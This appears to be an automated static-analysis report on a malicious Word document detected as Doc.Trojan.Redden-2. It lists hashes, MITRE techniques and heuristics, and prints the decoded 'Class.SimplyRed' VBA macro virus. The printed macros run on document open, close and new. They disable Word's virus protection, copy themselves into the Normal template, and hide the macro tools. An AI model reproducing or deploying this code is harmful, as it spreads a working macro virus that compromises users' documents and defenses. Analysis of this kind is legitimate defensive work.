Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fd23f7dba2fa56f8…

MALICIOUS

Office (OLE)

43.0 KB Created: 2002-09-23 14:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 942c34469dfbf9eb4b81eaeada7a5db7 SHA-1: 92f3d3f7559b88c9072c4fcf831a23019ad5afba SHA-256: fd23f7dba2fa56f82e91874641c6cdcdaf99226d441c5c175e8b3cc4040e5ef4
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious Office documents. The macro attempts to copy itself to the Normal template and create a module named 'ANTISimplyRed', suggesting an attempt to establish persistence or evade detection. The ClamAV detection 'Doc.Trojan.Redden-2' further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Redden-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Redden-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5312 bytes
SHA-256: 374c1578920e3220f270406582bb070c3e64f79adc723da2eba10a065e4feab1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True




Private Sub CommandButton1_Click()

End Sub

Private Sub Document_Close()
'      ^    |   | ----- |
'     / \   | \ |   |   |
'    /---\  |  \|   |   |
'   /     \ |   |   |   |
'
'      <` .        |       |>     |
'      -' | <'> |> | <.|   |\ <- <|
'               '      '
'  Class.SimplyRed by N|(0†|N (c) 1999
'
'
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False

If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For j = 1 To cou
dest.CodeModule.DeleteLines (1)
Next j
End If
lin = sour.CodeModule.Lines(1, sour.CodeModule.countoflines)
dest.CodeModule.AddFromString (lin)
already = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
aprj = NormalTemplate.VBProject.VBComponents(i).Name
If aprj = "ANTISimplyRed" Then already = True
Next i
If Not already Then
NormalTemplate.VBProject.VBComponents.Add (vbext_ct_StdModule)
NormalTemplate.VBProject.VBComponents(NormalTemplate.VBProject.VBComponents.Count).Name = "ANTISimplyRed"
Set nor = NormalTemplate.VBProject.VBComponents("ANTISimplyRed").CodeModule
eol = Chr(13) + Chr(10)
'
nor.AddFromString ("Sub ToolsMacro" + eol + "End Sub")
nor.AddFromString ("Sub Organizer" + eol + "End Sub")
nor.AddFromString ("Sub ViewVBCode" + eol + "End Sub")
nor.AddFromString ("Sub FileTemplates" + eol + "End Sub")
'
End If
Phuck:
End Sub

Private Sub Document_New()
'      ^    |   | ----- |
'     / \   | \ |   |   |
'    /---\  |  \|   |   |
'   /     \ |   |   |   |
'
'      <` .        |       |>     |
'      -' | <'> |> | <.|   |\ <- <|
'               '      '
'  Class.SimplyRed by N|(0†|N (c) 1999
'
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False

If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For j = 1 To cou
dest.CodeModule.DeleteLines (1)
Next j
End If
lin = sour.CodeModule.Lines(1, sour.CodeModule.countoflines)
dest.CodeModule.AddFromString (lin)
already = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
aprj = NormalTemplate.VBProject.VBComponents(i).Name
If aprj = "ANTISimplyRed" Then already = True
Next i
If Not already Then
NormalTemplate.VBProject.VBComponents.Add (vbext_ct_StdModule)
NormalTemplate.VBProject.VBComponents(NormalTemplate.VBProject.VBComponents.Count).Name = "ANTISimplyRed"
Set nor = NormalTemplate.VBProject.VBComponents("ANTISimplyRed").CodeModule
eol = Chr(13) + Chr(10)
'
nor.AddFromString ("Sub ToolsMacro" + eol + "End Sub")
nor.AddFromString ("Sub Organizer" + eol + "End Sub")
nor.AddFromString ("Sub ViewVBCode" + eol + "End Sub")
nor.AddFromString ("Sub FileTemplates" + eol + "End Sub")
'
End If
Phuck:
End Sub





Private Sub Document_Open()
'      ^    |   | ----- |
'     / \   | \ |   |   |
'    /---\  |  \|   |   |
'   /     \ |   |   |   |
'
'      <` .        |       |>     |
'      -' | <'> |> | <.|   |\ <- <|
'               '      '
'  Class.SimplyRed by N|(0†|N (c) 1999
'
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False

If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.V
... (truncated)